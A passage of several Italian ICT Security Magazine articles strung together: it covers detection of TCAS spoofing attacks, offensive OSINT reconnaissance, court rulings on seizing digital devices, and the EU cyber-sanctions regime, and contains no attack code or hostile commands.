• Comportamento differenziale: se il trasmettitore è mobile, la distribuzione di probabilità non converge.

Il risultato sul caso DCA

Applicato ai dati reali dell’incidente del 1° marzo 2025, il metodo ha prodotto una distribuzione di probabilità stabile e coerente con l’ipotesi di una sorgente fissa a terra:

• Stima della sorgente a circa 890 metri dal centro dell’area ristretta P-56B.
• Probabilità del 94% che il trasmettitore si trovi all’interno dell’area ristretta.
• In 40 minuti, dopo due incontri, l’algoritmo avrebbe ristretto la sorgente a un’area di circa 4 km².

L’area P-56B coincide con lo U.S. Naval Observatory, residenza ufficiale del Vicepresidente degli Stati Uniti. Il risultato è pubblicato in Longo, Ratto, Merlo, Russo, «Unknown Target: Uncovering and Detecting Novel In-Flight Attacks to Collision Avoidance (TCAS)», nei proceedings del Network and Distributed System Security (NDSS) Symposium 2026.

Su questo punto Merlo è stato esplicito: «il rilevamento non equivale all’attestazione». I numeri pubblici indicano la compatibilità tecnica di un’origine fissa in una zona precisa, ma non costituiscono, di per sé, un’attribuzione formale dell’identità degli attaccanti.

Takeaway

L’intervento si è chiuso con alcune considerazioni di carattere sistemico sulla sicurezza dei sistemi cyber-fisici:

• L’isolamento dei sistemi critici, pur necessario, non è sufficiente a preservarli dagli attacchi cyber, soprattutto quando l’hardware d’attacco diventa accessibile a budget contenuti.
• La debolezza intrinseca di molti sistemi avionici e industriali deriva da norme e standard storicamente progettati senza integrare la cybersecurity.
• I cyber range e l’approccio multidisciplinare alla ricerca sono ormai imprescindibili per il cybersecurity testing di sistemi cyber-fisici, in cui la sperimentazione su asset reali è eticamente e operativamente impraticabile.
• Le implicazioni geopolitiche della detection vanno affrontate con cautela metodologica.
• Esiste un nodo irrisolto fra security e safety: a differenza di un attacco a un server, un attacco a un aereo in volo introduce un rischio diretto per le vite umane.
• I sistemi cyber-fisici poggiano su protocolli legacy: la protezione fisica non basta più, rendere «smart» un sistema spesso lo rende meno sicuro, e riprogettare tutto da zero non è un’opzione realistica.

Al di là del suo valore tecnico, il caso TCAS è un richiamo alla necessità di integrare la cybersecurity nei processi di standardizzazione internazionale, di investire in cyber range avionici e di formare giovani ricercatori capaci di operare alla frontiera fra security, safety e implicazioni geopolitiche. Come ha ricordato Merlo, la distanza fra un attacco a un server e un attacco a un aereo in volo non si misura più in termini di disponibilità di un servizio, ma in vite umane. Una soglia che impone a ricerca, industria e regolatori di muoversi insieme, e in fretta.

https://www.ictsecuritymagazine.com/articoli/breaking-tcas-sicurezza-aerea/

Nella cybersecurity esiste una contraddizione che viene sistematicamente sottovalutata: quanto più un’organizzazione comunica, si promuove e si digitalizza, tanto più amplia involontariamente la propria superficie di attacco. Non attraverso falle nel codice o configurazioni errate, ma attraverso qualcosa di molto più ordinario: le informazioni pubblicamente disponibili su se stessa.

OSINT offensivo: la ricognizione invisibile che precede ogni attacco

L’Open Source Intelligence offensiva, nota come offensive OSINT, è la pratica con cui attori malevoli raccolgono, correlano e trasformano in arma questi dati pubblici, tutto senza mai toccare un sistema target, senza inviare un pacchetto sospetto, senza lasciare traccia nei log. Come documenta ShadowDragon nel suo riferimento 2026 sull’argomento, la ricognizione passiva non interagisce con la presenza online del bersaglio e rimane non rilevabile, non lasciando alcuna traccia dell’attività di raccolta informazioni. È invisibile per definizione.

Questa invisibilità è la prima ragione per cui l’offensive OSINT è tanto pericolosa quanto sottostimata.

La guerra inizia prima dell’attacco: la fase di ricognizione

La ricognizione precede ogni intrusione. Nel framework MITRE ATT&CK, la tattica TA0043 cataloga formalmente le tecniche con cui gli avversari raccolgono informazioni utili a pianificare operazioni future, distinguendo tra raccolta attiva e passiva. La distinzione non è accademica: determina il profilo di rischio dell’attaccante e la tracciabilità dell’operazione.

La ricognizione passiva si alimenta di tutto ciò che è già pubblico: record DNS, certificati digitali, metadati nei documenti, profili LinkedIn, offerte di lavoro, repository GitHub, comunicati stampa. Nulla di illegale, nulla di tecnico nel senso tradizionale del termine. Eppure questi dati, correlati con metodo, costruiscono un profilo operativo estremamente preciso di qualsiasi organizzazione.

La ricognizione attiva, invece, prevede un’interazione diretta con i sistemi del bersaglio, come la scansione delle porte o l’enumerazione dei servizi, e per questa ragione genera tracce rilevabili. Gli attaccanti sofisticati tendono a restare nella fase passiva il più a lungo possibile, spostandosi all’attivo solo quando hanno già un quadro sufficientemente dettagliato per operare in modo chirurgico.

Come osserva Vectra AI nel suo approfondimento del marzo 2026 sulla ricognizione, la profilazione OSINT include la mappatura dei ruoli dei dipendenti, dei fornitori e delle tecnologie a partire da fonti pubbliche come LinkedIn, le offerte di lavoro e i repository di codice. Queste attività non generano telemetria difensiva: compaiono nel log solo dopo, come precisione inaspettata nelle fasi successive dell’attacco.

Che cosa cercano davvero gli attaccanti: non vulnerabilità ma contesto

L’errore più comune nel ragionare sull’offensive OSINT è pensare che gli attaccanti cerchino vulnerabilità tecniche. In realtà, nella fase di ricognizione cercano soprattutto contesto: chi prende le decisioni, quali fornitori si utilizzano, quale stack tecnologico è in produzione, quale ufficio gestisce i bonifici, chi ha appena cambiato ruolo, chi è in trasferta.

Questi dati, individualmente irrilevanti, diventano letali una volta aggregati. SecurityScorecard evidenzia nel suo aggiornamento del 2026 che la raccolta passiva permette ai threat actor di costruire profili completi delle organizzazioni target prima ancora di passare a metodi di raccolta attiva come la scansione delle porte o le verifiche sulle applicazioni web. Questa ricognizione rivela spesso vettori d’attacco che i team di sicurezza trascurano.

Le fonti preferite degli attaccanti includono: offerte di lavoro (che rivelano stack tecnologici e strumenti di sicurezza adottati); profili sui social network professionali (che espongono organigrammi, riporti diretti e responsabilità operative); repository pubblici di codice (dove credenziali hardcoded e configurazioni sensibili compaiono con frequenza sorprendente); certificate transparency log (che rivelano sottodomini e infrastruttura interna); e breach database pubblicamente accessibili (che contengono credenziali riutilizzate o pattern di password aziendali).

Il ruolo abilitante dell’intelligenza artificiale

Se la reconnaissance manuale richiedeva tempo e competenze, l’integrazione dell’intelligenza artificiale nei flussi di lavoro offensivi ha abbattuto entrambe le barriere. Il Google Threat Intelligence Group documenta nel suo report del febbraio 2026 che gli APT actor hanno usato strumenti di AI a supporto di diverse fasi del ciclo di vita dell’attacco, con un focus specifico sulla ricognizione e sullo sviluppo dei target per facilitare il compromesso iniziale.

I casi documentati dal GTIG sono precisi e verificati. APT42, il gruppo iraniano noto anche come Charming Kitten o Mint Sandstorm, ha impiegato modelli AI per cercare indirizzi email ufficiali di specifiche entità, condurre ricognizioni su potenziali partner commerciali e costruire persona credibili a partire dalla biografia dei target. UNC2970, il gruppo nordcoreano collegato a Lazarus Group, ha sintetizzato intelligence open source per profilare figure di alto valore nel settore della difesa e della cybersecurity, mappando ruoli tecnici specifici e informazioni salariali per affinare le campagne di spear phishing.

La portata di questa accelerazione diventa concreta guardando i dati operativi. Il Palo Alto Networks Unit 42 Global Incident Response Report 2026, basato su oltre 750 indagini in più di 50 paesi, certifica che nel 2025 gli attacchi più veloci hanno raggiunto l’esfiltrazione dei dati in soli 72 minuti dall’accesso iniziale, rispetto ai 285 minuti dell’anno precedente: una riduzione quadrupla del tempo che i difensori hanno a disposizione per rilevare e contenere una minaccia.

Questo è il paradosso che l’AI introduce nell’equazione: mentre velocizza e personalizza la ricognizione sul lato offensivo, comprime drammaticamente la finestra di risposta disponibile sul lato difensivo.

La supply chain come bersaglio strategico: l’anello debole è il tuo fornitore

L’offensive OSINT non si limita al perimetro diretto dell’organizzazione target. Uno dei suoi utilizzi più efficaci è la mappatura della catena di fornitura: identificare i fornitori critici, le loro integrazioni tecniche, i contratti pubblici, le partnership dichiarate. Una volta individuato l’anello più debole dell’ecosistema, l’attaccante non ha bisogno di affrontare le difese del bersaglio principale.

I dati del Unit 42 Report 2026 certificano che nel 2025 le applicazioni SaaS di terze parti sono state rilevanti nel 23% dei casi analizzati. In un’indagine documentata nel report, gli attaccanti hanno sfruttato token OAuth validi di una piattaforma commerciale compromessa per accedere agli ambienti Salesforce dell’organizzazione target. La revisione post-incidente ha rivelato quasi 100 integrazioni di terze parti collegate all’istanza, molte delle quali inattive, non monitorate o associate a ex dipendenti.

Per un threat actor che ha condotto una ricognizione OSINT accurata, l’identificazione di questa rete di trust è tutt’altro che casuale: è il risultato di settimane di analisi pubblica delle relazioni tra fornitori, dei contratti pubblicati, degli annunci di partnership. Informazioni che esistono nel dominio pubblico e che nessuno, nel frattempo, stava aggregando e interpretando con intento offensivo.

Il tema è strettamente collegato alle pratiche di threat intelligence e gestione del rischio di terze parti, su cui ICT Security Magazine ha già pubblicato approfondimenti specifici nel contesto della conformità NIS2.

La velocità come elemento sistemico

Un dato del Unit 42 Report 2026 richiede una riflessione separata: gli attaccanti cominciano a scansionare nuove vulnerabilità entro 15 minuti dall’annuncio pubblico di un CVE. In molti casi, i tentativi di exploit iniziano prima che i team di sicurezza abbiano terminato di leggere l’advisory.

Questo dato ridefinisce il problema. L’OSINT offensiva non è soltanto uno strumento per la fase preparatoria degli attacchi mirati: è anche un meccanismo di monitoraggio continuo che consente agli attaccanti di identificare opportunità in tempo reale. La stessa logica con cui un analista difensivo monitora le fonti pubbliche per anticipare le mosse degli avversari viene applicata specularmente da chi vuole sfruttarle.

Le strutture di identità digitale delle organizzazioni sono l’altra faccia del problema. Sempre secondo il Unit 42 Report 2026, le debolezze nell’identità hanno giocato un ruolo materiale in circa il 90% delle indagini condotte. Non perché le credenziali siano state rubate attraverso attacchi tecnici sofisticati, ma perché informazioni pubblicamente disponibili, abbinate a tecniche di social engineering alimentate da ricognizione OSINT, hanno reso i tentativi di compromissione dell’identità estremamente efficaci.

Questo legame diretto tra offensive OSINT e attacchi di social engineering è uno degli aspetti più critici e meno presidiati del panorama attuale.

https://www.ictsecuritymagazine.com/articoli/osint-offensivo/

Alla 14ª Cyber Crime Conference (Roma, 6-7 maggio 2026) Pier-Luca Toselli ha ricostruito il nuovo equilibrio fra esigenze investigative e tutela dei diritti nel sequestro probatorio dei dispositivi digitali. Fra le pronunce più recenti della Cassazione, le direttive delle Procure e il DDL A.C. 1822 / A.S. 806, prende forma un sistema che archivia la cosiddetta “pesca a strascico”, ma la cui disciplina operativa resta tutt’altro che lineare.

Dalla “pesca a strascico” alla copia mirata

Pier-Luca Toselli, esperto senior in digital forensics e investigazioni digitali, con quasi trentotto anni di esperienza nella Guardia di Finanza e oggi libero professionista, ha aperto il suo intervento con un richiamo storico: gli albori della Legge 48/2008. Prima di quella legge le perquisizioni informatiche si risolvevano spesso in un “sequestro indiscriminato”. Si entrava in casa di un soggetto, si portava via tutto ciò che lampeggiava (compresa, paradossalmente, la spia del frigorifero) e si analizzava poi in laboratorio, con calma.

Quella stagione, ha osservato Toselli, è oggi definitivamente chiusa. Il punto di svolta porta una data precisa: la Cass. Pen. Sez. VI n. 2234 del 20 gennaio 2026, che ha consolidato un orientamento già delineato negli anni precedenti. In tema di sequestro probatorio di dati contenuti in dispositivi informatici o telematici, il decreto del Pubblico Ministero deve contenere specifica motivazione sulla proporzionalità e adeguatezza della misura, illustrando le ragioni che rendono necessario un sequestro esteso e onnicomprensivo e indicando sia le informazioni ricercate sia i criteri di selezione del materiale archiviato nel dispositivo.

Soprattutto, “il sequestro probatorio non può assumere valenza meramente esplorativa”: non essendo, nel disegno del legislatore, un mezzo di ricerca della notizia di reato, ma solo della sua conferma.

I principi consolidati dalla giurisprudenza

Sui principi che oggi presidiano l’acquisizione probatoria digitale Toselli ha richiamato in particolare la Cass. Pen. Sez. VI n. 24671 del 4 luglio 2025 e la Cass. Pen. Sez. II n. 33657 del 13 ottobre 2025:

• illegittimità del sequestro indiscriminato;
• principio di proporzionalità e adeguatezza;
• divieto di acquisizione esplorativa;
• criteri di selezione e limiti temporali;
• meccanismo di copia-mezzo e restituzione.

L’insieme di questi vincoli viene sintetizzato dal relatore con l’acronimo TPA: temporaneità, proporzionalità e adeguatezza del sequestro. Per anni, ha osservato, “siamo stati abituati alla ricerca del reato a seguito dell’esame di tutte le prove acquisite in un determinato procedimento”: capita ancora che da una perquisizione per evasione fiscale si arrivi a fattispecie del tutto diverse. Quel paradigma esplorativo è oggi giuridicamente insostenibile.

La selezione rapida dei dati e la sentenza 170/2023

Sul versante della tempistica, Toselli ha richiamato la Corte Costituzionale n. 170 del 2023, che impone, nel caso del sequestro probatorio di dispositivi informatici, una rapida selezione dei dati e la celere restituzione al titolare di tutto ciò che non è pertinente. Lo ha poi collegato alla Cass. Pen. Sez. VI n. 543 dep. 8 gennaio 2026, secondo cui la valenza costituzionale del principio di proporzionalità non consente “zone franche”: la proporzione temporale del vincolo reale deve essere valutata già al momento dell’adozione della misura cautelare reale, nei limiti di una ragionevole previsione.La fine della copia integrale e del sequestro a “strascico”: Cass. Pen. Sez. VI n. 543 dep. 8 gennaio 2026

In questo quadro la Cass. Pen. Sez. III n. 3350 del 28 gennaio 2026 ha precisato i contenuti minimi della motivazione: il PM deve indicare specificamente, anche in modo conciso, le ragioni che rendono necessaria la limitazione della disponibilità dei dati, le informazioni ricercate e i criteri di selezione rispetto al reato contestato. La stessa pronuncia ha escluso un termine perentorio per la selezione.La fine della copia integrale e del sequestro a “strascico”: Cass. Pen. Sez. III n. 3350 del 28 gennaio 2026

Sarebbe inevitabilmente approssimativo, condizionato da variabili tecniche come la difficoltà di accesso o il reperimento di consulenti; ha però confermato che la durata del sequestro deve essere limitata al tempo strettamente necessario alle operazioni tecniche, lasciando all’interessato la facoltà di richiedere la restituzione del dispositivo dopo un periodo congruo (indicativamente dieci giorni) e di proporre opposizione ex art. 263 c.p.p. in caso di rifiuto.

Il messaggio operativo è netto: non è più pensabile sequestrare dispositivi, riporli in un armadio e analizzarli con calma nei sei mesi delle indagini preliminari. La selezione deve avvenire in tempi rapidi, espellendo dal compendio digitale tutto ciò che non riguarda il procedimento.

Copia-mezzo e copia-fine: il modello operativo

Una parte centrale dell’intervento è dedicata alla distinzione fra copia-mezzo e copia-fine, che oggi regge l’intera procedura. La copia-mezzo è la copia forense bit a bit del dispositivo (la classica copia fisica, quando tecnicamente possibile): sulla sua base viene poi effettuata la selezione dei dati pertinenti. Da quella selezione nasce la copia-fine, ovvero il sottoinsieme di elementi rilevanti per il procedimento, destinato al dibattimento. La copia integrale, in altre parole, non è più la prova finale ma uno strumento funzionale alla selezione dei dati pertinenti e alla restituzione del dispositivo.

Il valore probatorio della copia-mezzo è garantito dall’integrità del dato, verificata tramite hash. È proprio sulla fase di selezione, però, che si annidano le maggiori criticità pratiche: la fallibilità di una ricerca per parola chiave o per data è evidente per chiunque abbia esperienza del settore, e la lettura incrociata dei dati richiede inevitabilmente il contributo conoscitivo sia dell’accusa sia della difesa.

Le criticità: tecniche e giuridiche

Sul piano tecnico Toselli ha richiamato un insieme di nodi ormai strutturali:

• collaborazione della persona: senza il contributo dell’utente, la crittografia rende oggi spesso impossibile un’acquisizione piena dei dati e la successiva selezione;
• forme di sicurezza dei dispositivi, sempre più stratificate;
• utilizzo diffuso della crittografia;
• eterogeneità di modelli e sistemi operativi.

Sul piano giuridico, invece, le criticità nascono dal continuo attrito fra le esigenze investigative e i principi TPA. In un contesto in cui, come ha rilevato con franchezza il relatore, “tante volte la legge viene fatta dalla giurisprudenza”, e ciò non è del tutto corretto.

Il mosaico delle direttive delle Procure

A complicare il quadro si sono aggiunte le direttive emanate da diverse Procure (Torino, Trento, Roma, Cagliari, Bari) per orientare l’attività della polizia giudiziaria nei rispettivi territori. Pur con sfumature diverse, queste direttive condividono alcuni tratti di fondo:

• il riconoscimento dell’importanza delle prove digitali e della copia forense a supporto delle indagini;
• una sequenza procedurale tipica che prevede sequestro del dispositivo, formazione della copia forense, immediata restituzione del dispositivo, qualificazione del sequestro dell’originale come strumentale e temporaneo, esecuzione dell’analisi investigativa sulla copia forense e successiva selezione che porta prima alla copia-mezzo e poi alla copia-fine;
• il rispetto del principio di proporzionalità e pertinenza, il divieto di “mandato esplorativo”, la gestione attenta dei dati personali e sensibili, la gestione delle notizie di reato diverse emerse incidentalmente e il ruolo centrale del Pubblico Ministero.

Il problema, ha rilevato Toselli, è che pratiche e qualificazioni cambiano da Procura a Procura: a oggi non è chiaro nemmeno se queste operazioni debbano essere svolte come accertamenti irripetibili ex art. 359 c.p.p. oppure con le garanzie dell’art. 360 c.p.p.. “Se stamattina dicevamo che servirebbe una certa omogeneizzazione a livello europeo”, ha osservato, “probabilmente non l’abbiamo neanche a livello regionale”.

Messaggistica e corrispondenza: il riallineamento giurisprudenziale

Un capitolo specifico è stato dedicato alla qualificazione giuridica della messaggistica. Toselli ha richiamato la Cass. Pen. Sez. II n. 33657 del 13 ottobre 2025, secondo cui è illegittimo il decreto di sequestro probatorio di un telefono cellulare con il quale il Pubblico Ministero acquisisca la totalità dei messaggi, filmati e fotografie ivi contenuti, senza indicare le ragioni per le quali, ai fini dell’accertamento dei reati ipotizzati, si renda imprescindibile l’integrale verifica di tutti i predetti dati e si giustifichi, nel rispetto del principio di proporzionalità, un così penetrante sacrificio del diritto alla segretezza della corrispondenza.

La svolta sostanziale è arrivata con la Corte Costituzionale n. 170 del 2023, che ha stabilito come lo scambio di messaggi elettronici (e-mail, SMS, WhatsApp) rientri pienamente nella nozione di “corrispondenza” tutelata dall’art. 15 della Costituzione: la natura di corrispondenza persiste anche dopo la ricezione (la cosiddetta “dimensione statica”), finché il messaggio conserva un carattere di attualità e interesse per i corrispondenti.

Su questa traccia si è mossa la Cass. n. 25549 del 15 maggio 2024, che ha recepito l’orientamento della Consulta affermando la persistenza della natura di corrispondenza anche dopo la ricezione e ricondotto il sequestro alle forme dell’art. 254 c.p.p.. Come ha ricordato il relatore, l’art. 254 c.p.p. vieta alla polizia giudiziaria di accedere al contenuto dei messaggi nel momento stesso del sequestro: il dispositivo deve essere consegnato all’autorità giudiziaria, unica legittimata a verificarne il contenuto. La Cass. Pen. Sez. VI n. 13585/2025 ha poi precisato che l’accesso ai dati di un dispositivo informatico a fini di indagine penale richiede il controllo di un giudice o di un organo amministrativo indipendente e terzo rispetto all’organo richiedente.

Toselli ha tuttavia segnalato il nodo operativo: stabilire quando un messaggio conservi un “carattere di attualità e interesse per i corrispondenti” è una valutazione che rischia di scivolare nel terreno strumentale e si presta a letture divergenti fra accusa e difesa. Il parallelo è quello, ben noto a chi ha fatto digital forensics da prima, dell’antica diatriba sull’e-mail “aperta” e “chiusa”: una distinzione che dal lato informatico è sempre stata, in fondo, un nonsenso.

Le prospettive di riforma: il DDL A.C. 1822 / A.S. 806

L’attuale quadro normativo (artt. 253 e 254 c.p.p., L. 48/2008) è ormai considerato inadeguato a disciplinare il sequestro dei dispositivi informatici e le indagini sui dati digitali, e lascia ampi margini di discrezionalità e incertezza. In questo contesto si inserisce la proposta comune sul DDL A.C. 1822 / A.S. 806, che mira a colmare le lacune introducendo nel codice di procedura penale il nuovo art. 254-ter dedicato specificamente al sequestro di dispositivi, sistemi informatici, dati e comunicazioni. La proposta prevede una riserva di giurisdizione per il sequestro del dispositivo (decreto motivato del GIP su richiesta del PM, con deroga per urgenza e successiva convalida) e introduce discipline distinte per l’acquisizione e l’analisi dei dati comunicativi e non comunicativi.

L’impianto della riforma, ha riassunto Toselli, ruota intorno ad alcuni assi principali:

• semplificazione delle procedure e ampliamento dell’utilizzabilità delle prove digitali, ormai strategiche in ogni indagine;
• equilibrio fra tutela dei diritti ed efficacia investigativa;
• diritto al contraddittorio e ruolo della difesa, con partecipazione effettiva non solo nella fase di analisi ma anche in quella di acquisizione della prova digitale.

Su quest’ultimo punto Toselli si è soffermato con particolare attenzione. La difesa dovrebbe disporre di controllo tecnico tempestivo, di accesso alle copie forensi dei dati e della possibilità di contestare ricostruzioni non corrispondenti.

A questo si affianca la proposta di un rafforzamento del ruolo del GIP in passaggi critici: accesso a dati remoti (Cloud) subordinato a previa autorizzazione del GIP, data la delicatezza e l’ampiezza di tali dati; controllo ex ante o validazione giudiziale ex post per la deroga alla duplicazione ordinaria ex art. 254-ter co. 10 in caso di urgenza; introduzione di una fase partecipata post-duplicazione per la difesa e la persona offesa nella selezione dei dati operata dal PM; oppure, in alternativa, proroga del termine per l’esame e verbalizzazione accurata delle operazioni, con verifica e autorizzazione del giudice.

Sul versante della perquisizione informatica (art. 247 c.p.p.) la proposta normativa, nella sua attuale formulazione, lascerebbe il potere ancora in capo al Pubblico Ministero, con il rischio di eludere le nuove garanzie previste per il sequestro: la perquisizione digitale comporta di fatto una duplicazione non sorvegliata. Per questo si propone che ogni perquisizione di dispositivo digitale richieda previa autorizzazione del GIP, data la sua natura invasiva. Analogamente, in caso di perquisizioni o sopralluoghi d’iniziativa della polizia giudiziaria su dispositivi digitali ex artt. 352 e 354 c.p.p., la comunicazione al PM dovrebbe essere seguita da una richiesta di convalida al GIP, sullo schema dell’art. 254-ter co. 4.

Un “accertamento irripetibile anticipato”?

Toselli ha proposto una lettura suggestiva del nuovo assetto: la riforma, di fatto, configurerebbe una sorta di “accertamento irripetibile anticipato“. La perquisizione è l’atto irripetibile per antonomasia: consentire l’intervento della difesa fin dalle primissime fasi (eventualmente con l’ausilio di un consulente tecnico) diventa cruciale anche in sede di selezione dei dati, dove un identico smartphone, una identica messaggistica e una identica chat possono essere letti in modo radicalmente diverso a seconda dell’angolazione.

Il relatore ha però segnalato anche un nodo critico: la formulazione attuale rischia di tradursi in passaggi davanti al GIP non solo per la selezione copia-mezzo / copia-fine, ma anche per la legittimità stessa del sequestro (rispetto dei canoni TPA). Inoltre l’introduzione di termini molto stringenti (si parla di cinque giorni) appare poco realistica per chi conosce la procedura penale: in cinque giorni non si fanno neanche le notifiche, figurarsi un’attività di questo tipo davanti al GIP.

La riforma merita grande attenzione da parte di tutti gli operatori: è infatti già stato richiesto un intervento da numerose autorità, personalità accademiche, esperti e consulenti informatici. L’obiettivo non è “tifare” per l’accusa o per la difesa, ma evitare che le pieghe degli esiti politici portino a soluzioni che non aiutino né l’una né l’altra.

Una riflessione finale: oltre lo smartphone

In chiusura Toselli ha lasciato uno spunto destinato a pesare sulle prossime stagioni regolatorie e operative. Se questo è il livello di complessità richiesto dalla disciplina del sequestro di uno smartphone o di un hard disk (oggetti che il relatore ha definito, licentia poetica, “qualcosa di morto”), è facile immaginare il salto di scala che attende gli operatori quando l’oggetto delle indagini sarà costituito da attacchi generati da intelligenza artificiale e da agenti di intelligenza artificiale: scenari in cui, come emerso nel corso della stessa Conference, già oggi non si è in grado di ricostruire con certezza nemmeno l’origine dell’attacco.

Il messaggio che esce dall’intervento è di lucida preoccupazione professionale. Il sistema italiano sta uscendo dalla stagione del “sequestro a strascico” grazie a una giurisprudenza coraggiosa, ma sta entrando in una fase in cui il dettaglio operativo (chi fa che cosa, in che termini, con quali garanzie e con quale controllo del GIP) resta ampiamente da scrivere. E le tecnologie corrono più veloci della procedura.

https://www.ictsecuritymagazine.com/articoli/copia-integrale-copia-mezzo/

Dall’adozione del Regolamento 2019/796 a oggi, l’Unione Europea ha costruito un arsenale di sanzioni cyber inedito nel dominio cibernetico. Sei anni di applicazione rivelano tanto le potenzialità di questo strumento quanto le sue contraddizioni strutturali, in un contesto geopolitico che non lascia spazio alla compiacenza.

Un regime sanzionatorio per il cyberspazio: le fondamenta normative

Quando nel maggio 2019 il Consiglio dell’Unione Europea adottò la Decisione (PESC) 2019/797 e il Regolamento (UE) 2019/796, compì un passo che fino a poco prima sarebbe sembrato improbabile: dotarsi di uno strumento giuridico autonomo per rispondere ad attacchi informatici di origine extraeuropea. Il framework consente all’UE di imporre sanzioni nei confronti di persone o entità responsabili di attacchi cyber o tentati attacchi, di chi fornisce supporto finanziario, tecnico o materiale, o è altrimenti coinvolto in tali operazioni. Le misure restrittive includono il divieto di ingresso nei territori degli Stati membri e il congelamento dei beni.

Il terreno era stato preparato due anni prima con il Cyber Diplomacy Toolbox, adottato nel giugno 2017, che delineava un catalogo di misure diplomatiche proporzionate da attivare in risposta alle minacce cibernetiche. Ma fu la sequenza di attacchi di portata sistemica (da NotPetya nel 2017 all’operazione contro l’OPCW nel 2018) a convincere gli Stati membri che serviva uno strumento più incisivo. La legislazione fu promossa con particolare impulso da Regno Unito e Paesi Bassi, entrambi colpiti da significativi attacchi informatici nei mesi precedenti all’adozione della Decisione.

Sul piano strutturale, il regime si distingue per una caratteristica fondamentale: le sanzioni possono essere adottate soltanto nei confronti di persone fisiche, giuridiche, entità o organismi distinti dallo Stato. L’UE si astiene dall’attribuire gli attacchi cyber direttamente a Stati terzi, ritenendo tale determinazione una decisione politica sovrana che ogni Stato membro deve valutare autonomamente caso per caso. Le sanzioni, concentrate su attori non statali individualmente designati, hanno natura “mirata” o “intelligente”: sono concepite per incidere su un soggetto precisamente identificato, non sull’intera popolazione di un Paese.

Questa scelta architetturale riflette una tensione irrisolta: l’UE vuole punire chi agisce, ma non vuole assumere la responsabilità politica di accusare formalmente uno Stato, una distinzione che costituisce sia una garanzia giuridica sia un limite operativo.

I casi concreti: Russia, Cina, Corea del Nord, Iran

La prima applicazione concreta del regime risale al luglio 2020, quando il Consiglio designò sei individui e tre entità. Le misure si applicarono a due cittadini cinesi e quattro russi, nonché a tre organizzazioni (una cinese, una nordcoreana e una russa), con divieto di ingresso nell’UE e congelamento dei beni, oltre al divieto di mettere fondi a disposizione delle persone e delle entità elencate.

Sul fronte russo, le sanzioni nominano l’Unità 74455 del GRU (nota nella comunità di threat intelligence come Sandworm), ritenuta responsabile dell’attacco NotPetya del 2017, che paralizzò infrastrutture in tutto il mondo causando danni superiori ai dieci miliardi di dollari secondo una valutazione della Casa Bianca. L’UE attribuisce inoltre al GRU gli attacchi alle centrali elettriche ucraine del 2015 e del 2016. Quattro membri dell’unità speciale vennero sanzionati per il tentato attacco alla rete Wi-Fi dell’OPCW nei Paesi Bassi.

Sul versante cinese e nordcoreano, individui e aziende cinesi vennero collegati all’operazione Cloud Hopper (2017-2018), mentre attori nordcoreani furono ricondotti all’attacco WannaCry e alle operazioni del gruppo APT38/Lazarus.

Il regime ha conosciuto una progressiva espansione. Il 27 gennaio 2025 il Consiglio ha adottato misure restrittive nei confronti di tre ufficiali del GRU dell’Unità 29155 (Nikolay Korchagin, Vitaly Shevchenko e Yuriy Denisov), responsabili di una serie di attacchi informatici condotti nel 2020 contro diversi ministeri del governo estone, inclusi i Ministeri degli Affari Economici e delle Comunicazioni, degli Affari Sociali e degli Affari Esteri, con furto di migliaia di documenti riservati contenenti segreti commerciali e dati sanitari. Con quelle designazioni il regime orizzontale cyber copriva 17 individui e 4 entità.

Queste designazioni non rappresentano un’azione isolata. Furono il risultato dell’«Operation Toy Soldier», uno sforzo di controintelligence senza precedenti coordinato da 14 servizi provenienti da 10 Paesi (Australia, Canada, Cechia, Estonia, Germania, Lettonia, Paesi Bassi, UK, Ucraina e USA), che ha collegato l’Unità 29155 a numerose operazioni cyber contro l’Ucraina e i suoi alleati NATO e UE. Come ha dichiarato Tanel Sepp, direttore generale del Dipartimento di Cyber Diplomazia del Ministero degli Esteri estone, «l’attribuzione nel cyberspazio non è un compito facile, ma oggi possiamo dimostrare chiaramente che possiamo farlo e continueremo a identificare i responsabili degli attacchi contro di noi».

La svolta più significativa è arrivata il 16 marzo 2026, quando il Consiglio ha ampliato il perimetro geografico delle designazioni ben oltre la Russia. Le nuove misure colpiscono tre entità e due individui:

Integrity Technology Group (Cina), collegata al gruppo statale cinese noto come Flax Typhoon, che tra il 2022 e il 2023 ha compromesso oltre 65.000 dispositivi in sei Stati membri; Anxun Information Technology (Cina, nota anche come i-Soon), che ha fornito servizi di hacking diretti alle infrastrutture critiche degli Stati membri e di Paesi terzi; Emennet Pasargad (Iran), responsabile di attacchi informatici e campagne di manipolazione delle informazioni in Francia contro il giornale Charlie Hebdo nel 2023 e contro le Olimpiadi di Parigi 2024. I due individui designati sono co-fondatori di una delle società cinesi.

Con queste aggiunte il regime orizzontale cyber si applica ora complessivamente a 19 individui e 7 entità. È la prima volta che l’Iran viene incluso esplicitamente in questo framework. Vale anche la pena sottolineare che le due società cinesi sanzionate dall’UE erano già state precedentemente sanzionate dal Regno Unito, confermando la tendenza al coordinamento sanzionatorio tra i due partner anche nel dominio cyber.

Parallelamente al regime cyber specifico, l’UE ha sviluppato un framework più ampio per rispondere alle attività destabilizzanti russe. Nel dicembre 2025 il Consiglio ha sanzionato 12 individui e due entità per il sostegno alle minacce ibride della Russia contro l’Europa, includendo tre persone legate all’Unità 29155 del GRU e al gruppo Cadet Blizzard, che hanno preso di mira Stati membri dell’UE e alleati NATO per acquisire informazioni sensibili e destabilizzarne la situazione politica.

La lista include anche il 142° Battaglione separato di guerra elettronica, basato a Kaliningrad, responsabile di disturbi ai sistemi di comunicazione e collegato ai recenti malfunzionamenti GPS nello spazio aereo di diversi Stati membri. Con le designazioni del 16 marzo 2026 (quattro ulteriori individui per attività di propaganda e disinformazione) il framework per le attività destabilizzanti della Russia si applica complessivamente a 69 individui e 17 entità.

Il processo di attribuzione: scienza, intelligence e politica

Comprendere il funzionamento del regime sanzionatorio implica confrontarsi con il problema più complesso nel dominio cyber: chi ha fatto cosa. L’attribuzione di un attacco informatico è un processo in tre fasi: prima si identificano i computer e le reti utilizzati nell’operazione; poi si stabilisce il collegamento con le persone fisiche responsabili; infine, lo Stato o gli Stati colpiti possono decidere di agire (tipicamente attraverso sanzioni) contro i responsabili.

Questo processo non è meramente tecnico: è profondamente politico. La questione della soglia di prova richiesta per una designazione rimane opaca. A differenza di un procedimento penale, le sanzioni non dipendono in linea di principio da alcuna determinazione di colpevolezza penale, ma l’attribuzione rimane cruciale perché consente a chi irroga le sanzioni di designare la responsabilità e giustificare le misure all’opinione pubblica.

